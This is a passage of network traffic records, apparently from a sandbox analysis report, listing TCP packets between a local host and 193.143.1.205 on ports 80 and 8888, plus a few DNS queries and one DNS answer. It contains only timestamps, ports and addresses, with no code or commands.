Jan 10, 2025 23:55:20.590909958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590919971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590922117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590934038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590948105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590972900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.590975046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590991020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.590998888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591036081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591048956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591057062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591062069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591078043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591089010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591098070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591137886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591274977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591284990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591320992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591342926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591358900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591371059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591444016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591455936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591475964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591490030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591495991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591510057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591521978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591526031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591535091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591546059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591550112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591583967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591586113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591595888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591608047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591625929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591628075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591640949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591653109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591653109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591665983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591681957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591692924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591696978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591706991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591717005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591737986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591738939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591753006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591764927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591774940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.591777086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.591800928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.596147060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.596158028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.596168041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.596189022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.596200943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.596218109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.596230030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.596230030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.596241951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.596314907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.615863085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.615894079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.615906954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.615925074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.615942001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.615943909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.615958929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.615973949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.615979910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.615988970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.616035938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.623580933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.631092072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.631141901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.631153107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.631165981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.631185055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.631184101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.631197929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.631211042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.631225109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.631233931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.631279945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.645709038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.645721912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.645735025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.645760059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.645787954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.645797968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.645808935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.645821095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.645833015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.645844936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.645868063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.645895958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.663966894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.664028883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.664036989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.664047956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.664072990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.664086103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.664091110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.664097071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.664110899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.664124966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.664128065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.664153099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676323891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676386118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676395893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676415920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676428080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676440001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676450968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676453114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676465988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676477909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676481009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676506042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676745892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676757097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676769018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676788092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676814079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676815987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676831007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676851988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676863909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676873922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676875114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676898956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676899910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676913023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676943064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.676970959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676984072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.676995039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677009106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677021027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677025080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677057981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677489996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677505970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677520037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677531958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677546978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677572966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677580118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677587986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677602053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677613974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677630901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677653074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677812099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677825928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677838087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677853107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677860975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677865028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677882910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677896976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677908897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677922964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677946091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677953005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677964926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.677970886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677994967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.677999973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678013086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678025961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678042889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.678045988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678059101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678083897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.678148985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678188086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.678201914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678211927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678245068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.678256035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678267956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678287983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678303003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678304911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.678318024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678330898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678340912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.678348064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678359032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.678369999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.678388119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.691992998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692028046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692066908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692080021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.692148924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692158937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692169905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692189932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.692189932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692203999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692217112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.692217112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692240000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692246914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.692254066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692276955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692281008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.692291021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692301989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692316055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692322969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.692328930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.692336082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.692362070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.696580887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713073015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713085890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713108063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713119984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713130951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713131905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713144064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713155985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713155985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713187933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713207006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713222980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713344097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713354111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713365078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713377953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713392019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713397026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713407993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713411093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713419914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713435888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713464022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713485003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713634968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713654041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713689089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713689089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713764906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713778019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713790894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713807106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713829041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713877916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713888884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713906050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713917971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713922024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713937044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713954926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713963985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713968992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713980913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.713987112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.713996887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714008093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714019060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714030981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714035988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.714042902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714062929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.714062929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714081049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714093924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714103937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.714107990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714123964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.714131117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.714168072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.718564034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.718605042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.718615055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.718627930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.718647003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.718653917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.718667030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.718669891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.718681097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.718693018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.718712091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.718738079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.733253956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.733264923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.733283997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.733295918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.733308077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.733320951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.733328104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.733334064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.733347893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.733365059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.733401060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.733416080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.754311085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.763699055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.763719082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.763731003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.763742924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.763756037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.763767004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.763777971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:20.763792992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.763843060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.779192924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:20.862917900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:21.772515059 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:21.777409077 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:21.777489901 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:21.777643919 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:21.782439947 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:22.584686041 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 23:55:22.632127047 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 23:55:22.787938118 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 23:55:34.728689909 CET	51150	53	192.168.2.5	1.1.1.1
Jan 10, 2025 23:55:48.409018993 CET	53337	53	192.168.2.5	1.1.1.1
Jan 10, 2025 23:56:00.847163916 CET	50484	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 23:55:34.728689909 CET	192.168.2.5	1.1.1.1	0x3a4d	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:55:48.409018993 CET	192.168.2.5	1.1.1.1	0xe5d1	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 23:56:00.847163916 CET	192.168.2.5	1.1.1.1	0x5191	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 23:55:33.119558096 CET	1.1.1.1	192.168.2.5	0x1d1c	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
